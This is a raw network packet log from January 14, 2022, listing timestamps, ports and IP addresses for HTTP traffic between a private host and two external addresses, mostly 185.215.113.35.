Jan 14, 2022 12:30:16.891283035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891376019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891477108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891565084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891661882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891751051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891849041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891938925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892039061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892122984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892220974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892311096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892412901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892507076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892607927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892695904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892796040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892884970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.892987967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893079042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893179893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893265963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893448114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893553019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893646955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893744946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893837929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.893933058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894025087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894118071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894213915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894323111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894418001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894511938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894608021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894711971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894804001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894901037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.894989967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895087957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895181894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895344019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895500898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895596981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895700932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895792007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895891905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.895978928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.896080971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.896168947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.896271944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.896365881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.903639078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.903799057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.903908014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904007912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904119015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904211998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904315948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904405117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904506922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904594898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904704094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904795885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904896021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.904998064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905083895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905184984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905284882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905388117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905488968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905587912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905689955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905791044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905883074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.905986071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906073093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906172037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906259060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906362057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906450033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906549931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906636000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906738997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906837940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.906929016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907030106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907114983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907242060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907347918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907453060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907542944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907643080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907743931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907830000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.907929897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908015966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908118010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908205032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908387899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908500910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908600092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908685923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908787012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908874989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.908973932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909070969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909189939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909276962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909379959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909471035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909569025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909660101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909761906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909857988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.909946918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910033941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910134077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910226107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910415888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910512924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910614967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910716057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910808086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910906076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.910996914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.911096096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.911185026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.911282063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.911371946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.911473036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.911564112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.911664963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912053108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912157059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912252903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912358999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912452936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912548065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912640095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912731886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912828922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.912920952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913014889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913131952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913297892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913444042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913537025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913634062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913726091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913820028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.913913965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.914005041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.914100885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.914192915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.914283991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.914392948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.914488077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.932517052 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.932590008 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932607889 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932625055 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932641029 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932658911 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932674885 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932681084 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.932698011 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932713985 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932718039 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.932730913 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932749033 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932765007 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.932796001 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932796955 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.932813883 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932830095 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932858944 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932868958 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.932877064 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.932900906 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.935636997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.935729027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.935831070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.935923100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936018944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936110020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936201096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936315060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936408997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936501026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936589003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936691046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936779022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936873913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.936963081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937052965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937148094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937238932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937366009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937460899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937551022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937645912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937736034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937829971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.937925100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938014030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938110113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938203096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938302994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938397884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938461065 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.938525915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938617945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938711882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938771009 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.938808918 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.938817978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938925982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.938977003 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.938988924 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.939033031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939141989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939230919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939259052 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.939270973 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.939383030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939476967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939570904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939666986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939760923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939853907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.939948082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940038919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940135002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940224886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940332890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940427065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940521955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940613031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940704107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.940979004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941164970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941272974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941380024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941468954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941570044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941660881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941761017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941863060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.941951036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942038059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942169905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942264080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942372084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942471981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942559958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942660093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942745924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942843914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.942943096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.943032026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.948265076 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.948656082 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.948694944 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.951987982 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.952054024 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.952861071 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.953869104 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.955588102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.956259012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.962589025 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.962618113 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.964349985 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.969428062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.969609022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.970592976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.970769882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.971642971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.972529888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.972664118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.973572016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.973745108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.974505901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.974704981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.974939108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.975244045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.975536108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.975662947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.975754023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.975857973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.975948095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976043940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976135015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976233959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976382971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976484060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976583958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976675034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976775885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976861954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.976962090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.977047920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996025085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996177912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996272087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996376038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996463060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996563911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996650934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996752024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996844053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.996953011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997042894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997143984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997230053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997396946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997519970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997610092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997706890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997792006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997884035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.997972965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998070002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998162031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998250008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998353958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998441935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998528957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998620987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998708963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998796940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998887062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.998974085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.999067068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.999152899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.999238014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.999399900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.999505043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.999593019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.999686956 CET	49914	80	192.168.2.4	185.215.113.35
